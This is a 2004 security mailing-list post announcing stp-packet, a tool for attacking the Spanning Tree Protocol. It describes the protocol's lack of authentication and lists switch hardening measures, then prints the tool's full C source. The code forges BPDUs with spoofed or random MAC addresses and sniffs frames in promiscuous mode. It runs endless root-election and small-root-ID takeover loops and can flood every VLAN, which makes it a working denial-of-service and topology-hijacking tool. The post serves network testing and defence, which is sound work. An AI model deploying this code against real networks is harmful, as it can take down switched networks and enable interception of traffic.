[TOOL] Stp-Packet - Testing the Security of Spanning Tree Protocol
From: SecuriTeam (support_at_securiteam.com)
Date: 10/21/04
- Previous message: SecuriTeam: "[UNIX] Buffer Overflow in Mpg123 (getauthfromURL)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 21 Oct 2004 20:19:32 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Stp-Packet - Testing the Security of Spanning Tree Protocol
------------------------------------------------------------------------
SUMMARY
DETAILS
What is the Spanning Tree Protocol?
Spanning tree protocol is used to prevent loops in a network so that when
there are several path to reach a switch, some are disabled to provide a
kind of tree directed by a root bridge, which is himself elected from a
democratic vote.
For more information visit:
<http://www.cisco.com/univercd/cc/td/doc/product/rtrmgmt/sw_ntman/cwsimain/cwsi2/cwsiug2/vlan2/stpapp.htm> Understanding Spanning-Tree Protocol
The Problem:
STP uses no authentication to protect again spoofing, so you can begin to
speak with "stp enabled" switches. Because of that weakness, it's possible
with stp to proceed as man-in-the-middle between two switches (it requires
two interfaces and to be plugged on two switches though...), but it is
also possible to create a denial of service by creating election waves
depending on manufacturer.
The original problem was described in
<http://www.phrack.org/show.php?p=61&a=12> Phrack 61 in a paper by Oleg K.
Artemjev and Vladislav V. Myasnyankin.
What is stp-packet?
stp-packet is a small tool designed to test your spanning tree equipments.
stp-packet can use several known stp attacks :
* eternal rootid elections
* smallid rootid permanent resend
* flood all VLAN with bpdus so that attack can be propagated everywhere
(is you have a 802.1q switch port enabled)
Security Measures for Spanning Tree:
The following principles are true with Cisco equipment, you're free to see
if your switch manufacturer has a similar feature.
CISCO specific:
* Port security : This feature allows you to specify mac address for each
port, so that a user port cannot send rootid bpdu
* PVSTP : Make separate STP tree for each VLAN, so that if there is a
problem on a user VLAN, it will not be diffused to admin VLAN
* BPDU Guard : disable port upon bpdu reception
All manufacturers:
* Disable 802.1q signaling for user ports
* Disable auto-trunking
* Keep your hardware at a reasonable OS level
* Put unused ports in an unused VLAN
* If STP is undesired, disable STP learning on user ports, or avoid using
it completely.
Download:
Download stp-packet <http://stp-packet.chez.tiscali.fr/stp-packet.zip>
here
Source Code:
/*
* Version 0.11
* Created by David Bizeul (david(dot)bizeul(at)netcourrier(dot)com)
* Implements attack features described in phrack 61 by initial stp tool
authors
*
*
* WARNING! This tool may break your network, be careful using it
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Library General Public License
* as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
* IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/* ***************TO DO LIST****************
* - Clean up the code : really ugly, needs to be reviewed
* - Test it in a wide stp network with 1q switches, give me feedback
please
***********************************************/
/* Compilation : gcc -o stp-packet stp-packet.c */
/* My prefered syntax :
stp-packet -attack eternal -802.1q flood > /dev/null 2>&1
*/
#include <stdio.h>
#include <unistd.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <netinet/if_ether.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define DEFAULT_DEVICE "eth0"
#define ETH_HW_ADDR_LEN 6
#define DEFAULT_DMAC "01:80:C2:00:00:00" /* default multicast mac for
stp*/
#define DEFAULT_PROTO_ID "0000"
#define DEFAULT_PROTO_V_ID "00"
#define DEFAULT_BPDU_TYPE "00"
#define DEFAULT_FLAGS "00"
#define DEFAULT_ROOT_ID "800000000c00018e" /*mac
address:00000C(cisco)00018E*/
#define DEFAULT_ROOT_PC "00000000"
#define DEFAULT_BR_ID "800000000c00018e"
#define DEFAULT_PORT_ID "8002"
#define DEFAULT_MESSAGE_AGE "0000"
#define DEFAULT_MAX_AGE "1400"
#define DEFAULT_HELLO_TIME "0200"
#define DEFAULT_FORWARD_DELAY "1E00"
#define DEFAULT_VLAN_ID "0001" /* from 0 to 4095*/
char start_text[]={
"\n\n\n\
*************************************\n\
stp-packet relased by David Bizeul\n\
*************************************\
\n\n\n"\
};
char usage[]={
"usage: stp-packet \
[-help] \
[-dev <device>] \
[-dmac <dmac>] \
[-smac <smac>|[random]] \
[-protoid <proto_id>] \
[-protovid <proto_v_id>] \
[-bpdu <bpdutype>] \
[-flags <flags>] \
[-rootid <rootid>] \
[-rootpc <rootpc>] \
[-brid <brid>] \
[-portid <portid>] \
[-mage <mage>] \
[-maxage <maxage>] \
[-htime <hellotime>] \
[-fdelay <fdelay>] \
[-attack [eternal|smallid]] \
[-802.1q [vlanid|random|flood]] \
\n"};
char usage_help[]={
"where:\n\
device - ethernet device name (default - eth0)\n\
dmac - destination MAC (default - 01:80:C2:00:00:00)\n\
smac - source MAC or random (default - MAC on given or default device)\n\
proto_id - Protocol Identifier (hex, 2 bytes)\n\
proto_v_id - Protocol Version Identifier (hex, 1 byte)\n\
bpdutype - BPDU type (hex, 1 byte)\n\
flags - flags value (hex, 1 byte)\n\
rootid - Root Identifier (hex, 8 bytes)\n\
rootpc - Root Path Cost (hex, 4 bytes)\n\
brid - Bridge Identifier (hex, 8 bytes)\n\
portid - Port Identifier (hex, 2 bytes)\n\
mage - Message Age (hex, 2 bytes)\n\
maxage - Max Age (hex, 2 bytes)\n\
hellotime - Hello Time (hex, 2 bytes)\n\
fdelay - Forward Delay (hex, 2 bytes)\n\
attack - Attack type : eternal elections or small root_id injection\n\
802.1q - Wrap packet in 802.1q frame to be sent on a specified VLAN.
Default is VLAN 1. Random vlanid can also be used or a flood mode, used in
conjunction with attack flag\
\n"};
struct tag_bpdu_packet{
u_char dmac[6]; /* dest. ether address */
u_char smac[6]; /* src. ether address */
u_char tpid[2]; /* tag proto id = 0x8100*/
u_char pri_cfi_vlan[2]; /* frame priority 0 to 7,
canonical format address should be 0 for ethernet, vlan id from 0 to 4095
*/
u_char frame_type[2]; /* 0x00 0x26 */
u_char llc_dsap; /* 0x42 */
u_char llc_ssap; /* 0x42 */
u_char command; /* 03 why? I don`t know :(
*/
u_char protoid[2]; /* Protocol Identifier */
u_char protovid[1]; /* Protocol Version
Identifier */
u_char bpdu[1]; /* BPDU Type */
u_char flags[1]; /* Flags */
u_char rootid[8]; /* Root Identifier */
u_char rootpc[4]; /* Root Path Cost */
u_char brid[8]; /* Bridge Identifier */
u_char portid[2]; /* Port Identifier */
u_char mage[2]; /* Message Age */
u_char maxage[2]; /* Max Age */
u_char hellotime[2]; /* Hello Time */
u_char fdelay[2]; /* Forward Delay */
u_char padding[4]; /* padding packet to 60
bytes */
};
struct bpdu_packet {
u_char dmac[6]; /* dest. ether address */
u_char smac[6]; /* src. ether address */
u_char frame_type[2]; /* 0x00 0x26 */
u_char llc_dsap; /* 0x42 */
u_char llc_ssap; /* 0x42 */
u_char command; /* 03 command */
u_char protoid[2]; /* Protocol Identifier */
u_char protovid[1]; /* Protocol Version
Identifier */
u_char bpdu[1]; /* BPDU Type */
u_char flags[1]; /* Flags */
u_char rootid[8]; /* Root Identifier */
u_char rootpc[4]; /* Root Path Cost */
u_char brid[8]; /* Bridge Identifier */
u_char portid[2]; /* Port Identifier */
u_char mage[2]; /* Message Age */
u_char maxage[2]; /* Max Age */
u_char hellotime[2]; /* Hello Time */
u_char fdelay[2]; /* Forward Delay */
u_char padding[8]; /* padding packet to 60
bytes */
};
void exit_verbose(char *); /* print error message and exit */
void change_field(char *,char *,int); /* convert string to hex */
void send_bpdu(); /* send packet through interface*/
void prepare_bpdu(); /* prepare packet*/
void fast_send_tagged_bpdu(); /* for flooding */
void random_mac(); /* should i explain ? */
int promisc_mode(char *);
int
sock,mac_random=0,j=0,tagging=0,tag_random=0,flood_tag=0,vlanid_temp=0;
int i,k,capture,loop=1,flood_wait;
struct bpdu_packet stp_packet;
struct tag_bpdu_packet tag_stp_packet;
struct bpdu_packet stp_listen_packet;
struct sockaddr saddr;
struct ifreq ifr;
char dev[10], dmac[18], protoid[5], protovid[3], bpdu[3], flags[3],
rootid[17], rootid_orig[17], rootpc[9], brid[17], portid[5], mage[5],
maxage[5], maxage_temp[3], htime[5], fdelay[5], attack[10]="",
smac_temp[1]="", smac[18]="", vlanid[5]="0000";
/**** MAIN PART *****/
int main(int argc,char** argv){
char temp[1];
//Get parameters
strncpy(dev,DEFAULT_DEVICE,9);
strncpy(dmac,DEFAULT_DMAC,18);
strncpy(protoid,DEFAULT_PROTO_ID,5);
strncpy(protovid,DEFAULT_PROTO_V_ID,3);
strncpy(bpdu,DEFAULT_BPDU_TYPE,3);
strncpy(flags,DEFAULT_FLAGS,3);
strncpy(rootid,DEFAULT_ROOT_ID,17);
strncpy(rootpc,DEFAULT_ROOT_PC,9);
strncpy(brid,DEFAULT_BR_ID,17);
strncpy(portid,DEFAULT_PORT_ID,5);
strncpy(mage,DEFAULT_MESSAGE_AGE,5);
strncpy(maxage,DEFAULT_MAX_AGE,5);
strncpy(htime,DEFAULT_HELLO_TIME,5);
strncpy(fdelay,DEFAULT_FORWARD_DELAY,5);
strncpy(vlanid,DEFAULT_VLAN_ID,3);
printf("%s",start_text);
for(i=1; i<argc; i++){
if (!strncasecmp(argv[i],"-help",5)) {
printf("%s",usage);
exit_verbose(usage_help);
}
if (!strncasecmp(argv[i],"-dev",4)){
strncpy(dev,argv[++i],9);
};
if (!strncasecmp(argv[i],"-dmac",5)){
strncpy(dmac,argv[++i],18);
};
if (!strncasecmp(argv[i],"-smac",5)){
if (!strncasecmp(argv[i+1],"random",6)){
mac_random=1;
random_mac();
}
else strncpy(smac,argv[++i],18);
};
if (!strncasecmp(argv[i],"-protoid",8)){
strncpy(protoid,argv[++i],5);
};
if (!strncasecmp(argv[i],"-protovid",9)){
strncpy(protovid,argv[++i],3);
};
if (!strncasecmp(argv[i],"-bpdu",5)){
strncpy(bpdu,argv[++i],3);
};
if (!strncasecmp(argv[i],"-flags",6)){
strncpy(flags,argv[++i],3);
};
if (!strncasecmp(argv[i],"-rootid",7)){
strncpy(rootid,argv[++i],17);
};
if (!strncasecmp(argv[i],"-rootpc",7)){
strncpy(rootpc,argv[++i],9);
};
if (!strncasecmp(argv[i],"-brid",5)){
strncpy(brid,argv[++i],17);
};
if (!strncasecmp(argv[i],"-portid",7)){
strncpy(portid,argv[++i],5);
};
if (!strncasecmp(argv[i],"-mage",5)){
strncpy(mage,argv[++i],5);
};
if (!strncasecmp(argv[i],"-maxage",7)){
strncpy(maxage,argv[++i],5);
};
if (!strncasecmp(argv[i],"-htime",6)){
strncpy(htime,argv[++i],5);
};
if (!strncasecmp(argv[i],"-fdelay",7)){
strncpy(fdelay,argv[++i],5);
};
if (!strncasecmp(argv[i],"-attack",7)){
strncpy(attack,argv[++i],9);
};
if (!strncasecmp(argv[i],"-802.1q",7)){
tagging=1;
if (!strncasecmp(argv[i+1],"random",6)){
tag_random=1;
srand(time(NULL));
}
else if (!strncasecmp(argv[i+1],"flood",5)) flood_tag=1;
else strncpy(vlanid,argv[++i],5);
};
};
// Open raw socket
if ((sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL))) < 0){
perror("Cannot get raw socket: ");
exit(1);
}
// Get our hardware address, if not given
if (!strncmp(smac,"",1)){
strcpy(ifr.ifr_name, dev);
printf("Using device %s and its address\n",dev);
if (ioctl(sock, SIOCGIFHWADDR, &ifr) < 0){
perror("Cannot get hardware address: ");
close(sock);
exit(1);
};
memcpy(stp_packet.smac,ifr.ifr_hwaddr.sa_data,6);
}
else change_field(stp_packet.smac,smac,6);
//Modify packet with params
prepare_bpdu();
// Set device to use
strcpy(saddr.sa_data,dev);
// Create stp attacks
if (!strncasecmp(attack,"eternal",7)){
capture=promisc_mode(dev);
loop=1;
//capture stp values from network frames
while(loop){
read(capture, &stp_listen_packet, sizeof(struct bpdu_packet));
if ((stp_listen_packet.llc_dsap==66) &&
(stp_listen_packet.llc_ssap==66)) {
loop=0;
bzero(rootid,17);
bzero(brid,17);
bzero(htime,5);
for (k=0;k<8;k++){
sprintf(temp,"%x",stp_listen_packet.rootid[k]);
if (strlen(temp)==1)strcat(rootid,"0");
strcat(rootid,temp);
};
sprintf(temp,"%x",stp_listen_packet.hellotime[0]);
strcat(htime,"0");
strcat(htime,temp);
strcat(htime,"00");
change_field(stp_packet.hellotime,htime,2);
}
}
strncpy(rootid_orig,rootid,17);
// Let's have fun now
while(1){
change_field(stp_packet.rootid,rootid,8);
change_field(stp_packet.brid,rootid,8);
char *smac= &rootid[4];
change_field(stp_packet.smac,smac,6);
if ((flood_tag) && (vlanid_temp<=4095)){
tagging=1;
sprintf(vlanid,"%i",vlanid_temp);
fast_send_tagged_bpdu();
}
else {
vlanid_temp=-1;
tagging=0;
sleep(atoi(htime)>>6);
send_bpdu();
}
vlanid_temp++;
// decrement rootid
if (vlanid_temp==0 || flood_tag!=1){
for (k=15;k>=0;k--){
if (rootid[k]=='0') {
if (k==0)strncpy(rootid,rootid_orig,17);
else rootid[k]='f';
}
else if (rootid[k]=='a'){rootid[k]='9';break;}
else {rootid[k]=rootid[k]-1; break;}
}
}
}
}
else if (!strncasecmp(attack,"smallid",7)){
bzero(rootid,17);
strncpy(rootid,"0001000001",10); /* this may be small enough :) */
for (i=1;i<=3;i++){
srand(time(NULL));
sprintf(temp,"%x",rand() % 256);
if (strlen(temp)==1) strcat(rootid,"0");
strcat(rootid,temp);
sleep(1);
}
strncpy(brid,rootid,17);
change_field(stp_packet.rootid,rootid,8);
change_field(stp_packet.brid,brid,8);
char *smac=&rootid[4];
change_field(stp_packet.smac,smac,6);
strncpy(maxage,"0600",4); /* the smallest value in RFC :) */
change_field(stp_packet.maxage,maxage,2);
memcpy(tag_stp_packet.maxage,stp_packet.maxage,2);
strncpy(maxage_temp,maxage,2);
while(1){
if ((flood_tag) && (vlanid_temp<=4095)){
tagging=1;
sprintf(vlanid,"%i",vlanid_temp);
fast_send_tagged_bpdu();
}
else {
vlanid_temp=-1;
tagging=0;
send_bpdu();
sleep(atoi(maxage_temp));
usleep(500); /* we expect a new topology is being prepared during
this time*/
}
vlanid_temp++;
}
}
else{
send_bpdu();
}
close(sock);
exit(0);
}
/*************** END MAIN PART ********************/
void fast_send_tagged_bpdu(){
tag_stp_packet.pri_cfi_vlan[1]= atoi(vlanid)%256;
tag_stp_packet.pri_cfi_vlan[0]= (atoi(vlanid)/16>>4)|0xE0;
memcpy(tag_stp_packet.smac,stp_packet.smac,6);
memcpy(tag_stp_packet.rootid,stp_packet.rootid,8);
memcpy(tag_stp_packet.brid,stp_packet.brid,8);
if(sendto(sock,&tag_stp_packet,sizeof(tag_stp_packet),0,&saddr,sizeof(saddr)) < 0) perror("Send tagged packet");
}
//Prepare 802.1q and normal bpdus
void prepare_bpdu(){
change_field(stp_packet.dmac,dmac,6);
change_field(stp_packet.protoid,protoid,2);
change_field(stp_packet.protovid,protovid,1);
change_field(stp_packet.bpdu,bpdu,1);
change_field(stp_packet.flags,flags,1);
change_field(stp_packet.rootid,rootid,8);
change_field(stp_packet.rootpc,rootpc,4);
change_field(stp_packet.brid,brid,8);
change_field(stp_packet.portid,portid,2);
change_field(stp_packet.mage,mage,2);
change_field(stp_packet.maxage,maxage,2);
change_field(stp_packet.hellotime,htime,2);
change_field(stp_packet.fdelay,fdelay,2);
// Set constant values
stp_packet.frame_type[0]=0x00;
stp_packet.frame_type[1]=0x26;
stp_packet.llc_dsap=0x42;
stp_packet.llc_ssap=0x42;
stp_packet.command=0x03;
bzero(stp_packet.padding,8);
memcpy(tag_stp_packet.smac,stp_packet.smac,6);
memcpy(tag_stp_packet.dmac,stp_packet.dmac,6);
memcpy(tag_stp_packet.protoid,stp_packet.protoid,2);
memcpy(tag_stp_packet.protovid,stp_packet.protovid,1);
memcpy(tag_stp_packet.bpdu,stp_packet.bpdu,1);
memcpy(tag_stp_packet.flags,stp_packet.flags,1);
memcpy(tag_stp_packet.rootid,stp_packet.rootid,8);
memcpy(tag_stp_packet.rootpc,stp_packet.rootpc,4);
memcpy(tag_stp_packet.brid,stp_packet.brid,8);
memcpy(tag_stp_packet.portid,stp_packet.portid,2);
memcpy(tag_stp_packet.mage,stp_packet.mage,2);
memcpy(tag_stp_packet.maxage,stp_packet.maxage,2);
memcpy(tag_stp_packet.hellotime,stp_packet.hellotime,2);
tag_stp_packet.tpid[0]=0x81;
tag_stp_packet.tpid[1]=0x00;
if (tag_random==1){
tag_stp_packet.pri_cfi_vlan[1]= rand() % 256;
tag_stp_packet.pri_cfi_vlan[0]= (rand() % 16)|0xE0 ;
}
else {
tag_stp_packet.pri_cfi_vlan[1]= atoi(vlanid)%256;
tag_stp_packet.pri_cfi_vlan[0]= (atoi(vlanid)/16>>4)|0xE0;
}
tag_stp_packet.frame_type[0]=0x00;
tag_stp_packet.frame_type[1]=0x26;
tag_stp_packet.llc_dsap=0x42;
tag_stp_packet.llc_ssap=0x42;
tag_stp_packet.command=0x03;
bzero(tag_stp_packet.padding,4);
}
// Send bpdu for 802.1 q and normal frames
void send_bpdu(){
if (tagging==1){
printf("%s\n","Sending tagged bpdu");
if(sendto(sock,&tag_stp_packet,sizeof(tag_stp_packet),0,&saddr,sizeof(saddr)) < 0) perror("Send tagged packet");
}
else {
printf("%s\n","Sending bpdu");
if(sendto(sock,&stp_packet,sizeof(stp_packet),0,&saddr,sizeof(saddr))
< 0)perror("Send packet");
}
}
// Generate a random eth address
void random_mac(){
for (j=0;j<12;j++){
srand(time(NULL)+j);
sprintf(smac_temp,"%x",rand() % 16);
strcat(smac,smac_temp);
}
}
// Exit whith an explicit message
void exit_verbose(char *str){
fprintf(stderr,"%s\n",str);
exit(1);
}
// Go to promisc mode for listening
int promisc_mode(char *device){
int listen;
struct ifreq ifr_listen;
int s;
listen=socket(AF_INET,SOCK_PACKET,htons(ETH_P_ALL));
if (listen<0){
perror("can't get SOCK_PACKET socket");
exit(0);
};
strcpy(ifr_listen.ifr_name,device);
s=ioctl(listen,SIOCGIFFLAGS,&ifr_listen);
if (s<0){
close(listen);
perror("can't get flags");
exit(0);
};
ifr_listen.ifr_flags|=IFF_PROMISC;
s=ioctl(listen, SIOCSIFFLAGS,&ifr_listen);
if (s<0) perror("can't set promisc mode");
return listen;
}
// Convert string to a buffer
void change_field(char *buf,char *str,int len){
int z;
char c,val;
for(z=0;z<len;z++){
if( !(c = tolower(*str++))) exit_verbose("Invalid hex
value conversion MSB");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else exit_verbose("Invalid hex value out of reach MSB");
*buf = val << 4;
if( !(c = tolower(*str++))) exit_verbose("Invalid hex
value conversion LSB");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else exit_verbose("Invalid hex value out of reach LSB");
*buf++ |= val;
if(*str == ':')str++;
}
}
ADDITIONAL INFORMATION
The information has been provided by
<mailto:david.bizeul@netcourrier.com> David Bizeul.
To keep updated with the tool visit the project's homepage at:
<http://stp-packet.chez.tiscali.fr/> http://stp-packet.chez.tiscali.fr/
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[UNIX] Buffer Overflow in Mpg123 (getauthfromURL)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- Re: Internet Sharing never works
... A 5 character password is exactly 40 bits, ... of the value to create a 40 bit
hex key. ... make sure the sharing works without security. ... Forget WEP
it is more trouble than it is worth in mixed environments! ... (comp.sys.mac.comm) - Re: netgear DG834 router security advice required please
... decided to activate the security features in the router - using WEP, ... All
works - except the airport stuff on the iBook. ... ASCII or 128 HEX or ASCII - and
what is LEAP? ... as whatever you put into the password space in the router config window.
... (comp.sys.mac.misc) - Re: Help: No/Low connectivity Problems
... I can connect to the network when no security ... connect, or more specifically,
the router will not assign me an IP ... The usual problem is mismatch of keys between
hex and ASCII. ... (alt.internet.wireless)